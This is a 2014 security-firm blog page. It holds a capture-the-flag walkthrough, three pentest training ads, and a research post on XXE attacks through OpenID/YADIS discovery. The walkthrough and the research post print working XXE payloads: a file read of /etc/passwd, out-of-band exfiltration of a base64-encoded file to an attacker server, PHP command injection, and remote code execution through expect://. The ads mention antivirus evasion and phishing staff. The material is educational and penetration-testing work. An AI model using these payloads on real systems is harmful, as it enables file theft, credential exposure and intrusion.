Grey bar Blue bar
Share this:

Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:


The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Walk-through


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:


The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.


The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.


Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:




<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<foo>&xxe;</foo>


This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<rss>
<channel>
<title>FreeStuff</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/rss</link>
<description>&xxe;</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:


The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.


The submitted POST request
The submitted POST request


It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:




<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">


Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:




<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>


We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.


Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.


As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:


The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.


Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":


Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:




<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>


Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Winners!


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.


The two runners up who both can claim one of our awesome 2014 t-shirts:


Vitaly aka @send9


Sash aka @secdefect


Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Tue, 20 May 2014

Mobile Training Reloaded - Las Vegas

Get some.

Exploiting next gen apps
With the explosion in mobile device popularity and the applications that go along with these, testing mobile application security has become a key skill in every pentester's arsenal. Last year we launched the Hacking by Numbers: Mobile, course at BlackHat Las Vegas and follow up training at BlackHat WestCoast Trainings. This year we are taking Mobile training to the next level with Hacking by Numbers reloaded, Mobile Bootcamp (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)


The course has undergone the full reloaded treatment, with our trainers pouring new tips, tricks and skills into the course, along with incorporating feedback from previous students.

You said mobile?


The mobile space has numerous platforms, each with their own nuances, that would leave any new pentester dizzy. Fortunately this is where the Mobile bootcamp course excels, offering the perfect blend of introductory and advanced techniques, the training is ideal for anyone looking to start testing mobile applications or the experienced tester who is looking to branch out to new platforms.


The training introduces all the core skills required to test applications across the major mobile platforms, particularly:


  • Android

  • IOS

  • Blackberry

  • Windows Phone 8


Training is built around around demonstration and hands-on practical exploitation, with custom practical exercises derived from real-world application security fails.


For a full break-down of the course structure check-out our BlackHat training page (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)

Who should attend?


The course is relevant for attackers, defenders and developers. Students should have some technical ability in Linux, and understand networking fundamentals, but this is a bootcamp level course. Basic programming knowledge is recommended but not essential.


Your trainers will be Etienne (@kamp_staaldraad) and Jurgens, both crazy about mobile security and have executed numerous killshots on all the major mobile platforms.


- Etienne and Jurgens -


 


 

Thu, 15 May 2014

BootCamp Reloaded Infrastructure

Get some.


Why Infrastructure Hacking Isn't Dead


If you work in IT Security you may have heard people utter the phrase,


“Infrastructure hacking is dead!”



We hear this all the time but in all honesty, our everyday experience of working in the industry tells a completely different story.


With this in mind we've decided to factor out our “infrastructure related h@x0ry” from our Bootcamp Course and create a brand spanking new one, completely dedicated to all things ‘infrastructure'.


What You'll Learn


We've re-loaded this course to not only reinforce basic footprinting methodologies - which to be honest, are essential for target acquisition - but to also enable you to exploit common, real-world vulnerabilities.


But that's not all.


We've also highlighted methods for compromising Microsoft Active Directory infrastructures - something that's typical for corporate environments. The way in which we approach this is thorough, effective and shows you how to become DA without necessarily pulling all of your hair out.


A complete company takeover is really just a matter of time.


Get Hands-On Experience


As with all SensePost training courses, we don't just want you to sit there and watch us talk for a few days. Where's the fun in that and how on earth will you get real, tangible experience if you're just sat in a chair?


Not only will we all be doing practicals at the end of each topic, we've also created a brilliant culmination exercise:


“You'll need to compromise a company via the Internet and steal as much data as possible!”


The Bottom Line


The brand new Bootcamp Reloaded Infrastructure will provide you with a thorough introduction to real world hacking of corporate environments. You'll learn everything you need to successfully compromise most corporate networks out there.


For more information on our training offering, head over to here.

Tue, 13 May 2014

BlackOps Hacking Training - Las Vegas

Get some.


BlackOps you say?
At SensePost we have a range of courses in our Hacking by Numbers reloaded series. We feel each one has its own special place. I've delivered almost all the courses over the years, but my somewhat biased favourite is our recently updated BlackOps Edition. Myself (Glenn) and Vlad will be presenting this course at BlackHat Vegas in August.


Where Does BlackOps fit in?
Our introductory courses (Cadet and Bootcamp) are meant to establish the hacker mindset - they introduce the student to psychological aspects of an attacker, and build on that to demonstrate real world capability. BlackOps is designed for students who understand the basics of hacking (either from attending Bootcamp/Cadet, or from real-world experience) and want to acquire deeper knowledge of techniques we use. We built the course based on our 13 years of experience of performing security assessments.


But really, what's the course about?
This course is aimed at those who've been performing penetration testing for a while, but still feel a bit lost when they've compromised a host, or network and want to know the best possible approach to take for the next step. All of the labs in this course come from real life assessments, with the final lab being a full-blown social engineering attack against an admin with pivoting, exfiltration and the works. Specifically, we're going to cover the following topics:


1. Advanced Targeting
A hacker who can quickly and effectively identify targets is a successful attacker. We'll be looking at non-standard techniques for identifying targets, such as mDNS, IPv6, and other rapid reconnaissance techniques.


3. Compromise
You may know how to roll a generic metasploit payload, but we'll be looking at some lesser utilised approaches to compromise. From WPAD injection, to rogue routers in IPv6, to good old smbrelay attacks, to crypto attacks against obfuscated credentials.


4. Privilege Escalation
So you've gotten a shell, now what?
Following on somewhat succinctly, how do you elevate your privileges after compromising a box? Everyone wants to be root or enterprise admin, but how do you go about this without raising the alarm and keeping your shell?


5. Pivoting
Don't underestimate the importance, or intricacies of this topic. Once you've compromised a lowly network edge server, or the receptionist PC, how do you bounce through that box to get to the good stuff, three DMZs deep? We'll show you how. A must-have for every hackers box of tricks.


6. Open Source Intelligence (OSINT)
Finding out as much as possible about an adversary from publicly available information is one of the most important steps of any hack. This relates to both infrastructure (domains, IP ranges, etc) and personnel. In this section we'll focus mainly on the latter. How can you find out more information about the girlfriend of the son of your target company's CEO? We'll show you. Why would you want to? A good social engineering attack abuses trust relationships, so nothing makes a dad click on that dodgy looking email if it was from his son.


7. HIPS Evasion
Hackers don't like getting caught. So we'll teach you how to evade 100% (yes, 100%) of anti-virus products on the market, as well as hiding from smart traffic filtering devices. Bring your own ninja outfits, we'll provide the skill-set.


8. Client Side Attacks
The weakest layer of the OSI stack - the human. Trust us, if you really want to compromise an organization, going after the receptionist's outdated Windows box is the first stepping stone. After all, why wouldn't she open an email that appears to come from her boss, and has a harmless .xls attached?


Each module of the above modules has a theory section followed by a practical lab to allow you to practise your newly acquired skills. The course finishes with a Capture-the-Flag, with a grand prize. Honestly, this final lab is enjoyable and guaranteed to bring a smile on your face whilst doing it.


We're looking forward to sharing out knowledge, experience, and passion for security with you. Please sign up here.


-Glenn & Vlad

Tue, 28 Jan 2014

Revisting XXE and abusing protocols

Recently a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available here if you are interested. The thing that caught my attention about his writeup was not the fact that he had pwned Facebook or earned $33,500 doing it, but the fact that he used OpenID to accomplish this. After having a quick look at the output from the PoC and rereading the vulnerability description I had a pretty good idea of how the vulnerability was triggered and decided to see if any other platforms were vulnerable.

The basic premise behind the vulnerability is that when a user authenticates with a site using OpenID, that site does a 'discovery' of the user's identity. To accomplish this the server contacts the identity server specified by the user, downloads information regarding the identity endpoint and proceeds with authentication. There are two ways that a site may do this discovery process, either through HTML or a YADIS discovery. Now this is where it gets interesting, HTML look-up is simply a HTML document with some meta information contained in the head tags:

1
2
3
4
<head>
<link rel="openid.server" href="http://www.example.com/myendpoint/" />
<link rel="openid2.provider" href="http://www.example.com/myendpoint/" />
</head>
Whereas the Yadis discovery relies on a XRDS document:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<xrds:XRDS
  xmlns:xrds="xri://$xrds"
  xmlns:openid="http://openid.net/xmlns/1.0"
  xmlns="xri://$xrd*($v*2.0)">
  <XRD>
    <Service priority="0">
      <Type>http://openid.net/signon/1.0</Type>
      <URI>http://198.x.x.143:7804:/raw</URI>
      <openid:Delegate>http://198.x.x.143:7804/delegate</openid:Delegate>
    </Service>
  </XRD>
</xrds:XRDS>
Now if you have been paying attention the potential for exploitation should be jumping out at you. XRDS is simply XML and as you may know, when XML is used there is a good chance that an application may be vulnerable to exploitation via XML External Entity (XXE) processing. XXE is explained by OWASP and I'm not going to delve into it here, but the basic premise behind it is that you can specify entities in the XML DTD that when processed by an XML parser get interpreted and 'executed'.

From the description given by Reginaldo the vulnerability would be triggered by having the victim (Facebook) perform the YADIS discovery to a host we control. Our host would serve a tainted XRDS and our XXE would be triggered when the document was parsed by our victim. I whipped together a little PoC XRDS document that would cause the target host to request a second file (198.x.x.143:7806/success.txt) from a server under my control. I ensured that the tainted XRDS was well formed XML and would not cause the parser to fail (a quick check can be done by using http://www.xmlvalidation.com/index.php)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" standalone="no"?>
<!DOCTYPE xrds:XRDS [
  <!ELEMENT xrds:XRDS (XRD)>
  <!ATTLIST xrds:XRDS xmlns:xrds CDATA "xri://$xrds">
  <!ATTLIST xrds:XRDS xmlns:openid CDATA "http://openid.net/xmlns/1.0">
  <!ATTLIST xrds:XRDS xmlns CDATA "xri://$xrd*($v*2.0)">
  <!ELEMENT XRD (Service)*>
  <!ELEMENT Service (Type,URI,openid:Delegate)>
  <!ATTLIST Service priority CDATA "0">
  <!ELEMENT Type (#PCDATA)>
  <!ELEMENT URI (#PCDATA)>
  <!ELEMENT openid:Delegate (#PCDATA)>
  <!ENTITY a SYSTEM 'http://198.x.x.143:7806/success.txt'>
]>

<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns:openid="http://openid.net/xmlns/1.0" xmlns="xri://$xrd*($v*2.0)"> <XRD> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>http://198.x.x.143:7806/raw.xml</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>&a;</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> </XRD> </xrds:XRDS>

In our example the fist <Service> element would parse correctly as a valid OpenID discovery, while the second <Service> element contains our XXE in the form of <URI>&a;</URI>. To test this we set spun up a standard LAMP instance on DigitalOcean and followed the official installation instructions for a popular, OpenSource, Social platform that allowed for OpenID authentication. And then we tried out our PoC.

"Testing for successful XXE"

It worked! The initial YADIS discovery (orange) was done by our victim (107.x.x.117) and we served up our tainted XRDS document. This resulted in our victim requesting the success.txt file (red). So now we know we have some XXE going on. Next we needed to turn this into something a little more useful and emulate Reginaldo's Facebook success. A small modification was made to our XXE payload by changing the Entity description for our 'a' entity as follows: <!ENTITY a SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>. This will cause the PHP filter function to be applied to our input stream (the file read) before the text was rendered. This served two purposes, firstly to ensure the file we were reading to introduce any XML parsing errors and secondly to make the output a little more user friendly.

The first run with this modified payload didn't yield the expected results and simply resulted in the OpenID discovery being completed and my browser trying to download the identity file. A quick look at the URL, I realised that OpenID expected the identity server to automatically instruct the user's browser to return to the site which initiated the OpenID discovery. As I'd just created a simple python web server with no intelligence, this wasn't happening. Fortunately this behaviour could be emulated by hitting 'back' in the browser and then initiating the OpenID discovery again. Instead of attempting a new discovery, the victim host would use the cached identity response (with our tainted XRDS) and the result was returned in the URL.

"The simple python webserver didn't obey the redirect instruction in the URL and the browser would be stuck at the downloaded identity file."

"Hitting the back button and requesting OpenID login again would result in our XXE data being displayed in the URL."

Finally all we needed to do was base64 decode the result from the URL and we would have the contents of /etc/passwd.

"The decoded base64 string yielded the contents of /etc/passwd"

This left us with the ability to read *any* file on the filesystem, granted we knew the path and that the web server user had permissions to access that file. In the case of this particular platform, an interesting file to read would be config.php which yields the admin username+password as well as the mysql database credentials. The final trick was to try and turn this into RCE as was hinted in the Facebook disclosure. As the platform was written in PHP we could use the expect:// handler to execute code. <!ENTITY a SYSTEM 'expect://id'>, which should execute the system command 'id'. One dependency here is that the expect module is installed and loaded (http://de2.php.net/manual/en/expect.installation.php). Not too sure how often this is the case but other attempts at RCE haven't been too successful. Armed with our new XRDS document we reenact our steps from above and we end up with some code execution.

"RCE - retrieving the current user id"

And Boom goes the dynamite.

All in all a really fun vulnerability to play with and a good reminder that data validation errors don't just occur in the obvious places. All data should be treated as untrusted and tainted, no matter where it originates from. To protect against this form of attack in PHP the following should be set when using the default XML parser:

libxml_disable_entity_loader(true);

A good document with PHP security tips can be found here: http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html

./et